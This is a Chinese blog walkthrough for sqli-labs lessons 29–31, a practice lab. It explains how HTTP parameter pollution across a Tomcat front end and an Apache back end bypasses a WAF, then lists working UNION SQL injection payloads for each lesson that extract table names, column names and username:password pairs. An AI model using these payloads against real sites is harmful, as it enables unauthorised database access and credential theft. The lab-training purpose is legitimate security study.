我是靠谱客的博主 真实苗条,最近开发中收集的这篇文章主要介绍sqli-labs通关全解---有关WAF--less29~31--10less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web applicationless-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

服务器两层架构

​ 服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务器的是php服务器。工作流程为:client访问服务器能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。

 在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。

假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。

下表为数服务器对参数解析的:

web服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TmocatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/Apachegetvalue(“par”)All(List)
ASP/IISRequest.QueryString(“par”)All(comma-delimited string)

HTTP参数污染

如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检

测进行绕过。

攻击payload:index.php?id=-1' union select 1,database(),3--+

union select…会被tomcat服务器识别为恶意攻击并拦截,而如果payload如下:

攻击payload:index.php?id=1&id=-1' union select 1,database(),3--+

n select 1,database(),3–+```

tomcat服务器检测第一个参数后发现无异常,提交给apache服务器。成功绕过WAF拦截

爆破数据库

?id=1&id=-1' union select 1,2,database() --+

爆破数据表

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆破用户名和密码

?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+

less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application

该题和上题基本相同,只有闭合方式不同,不同点在于闭合方式不同

只需要通过多次提交参数,就可以实现对WAF的绕过

爆破数据表

?id=1&id=-1" union select 1,2,database() --+

爆破数据表

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆破用户名和密码

?id=1&id=-1" union select 1,group_concat(username,':',password),3 from users --+

less-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application

该题与前面两题相同,但是闭合方式不同

爆破数据表

?id=1&id=-1") union select 1,2,database() --+

爆破数据表

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆破用户名和密码

?id=1&id=-1") union select 1,group_concat(username,':',password),3 from users --+

 

 

 

 

最后

以上就是真实苗条为你收集整理的sqli-labs通关全解---有关WAF--less29~31--10less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web applicationless-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application的全部内容,希望文章能够帮你解决sqli-labs通关全解---有关WAF--less29~31--10less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web applicationless-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(51)

评论列表共有 0 条评论

立即
投稿
返回
顶部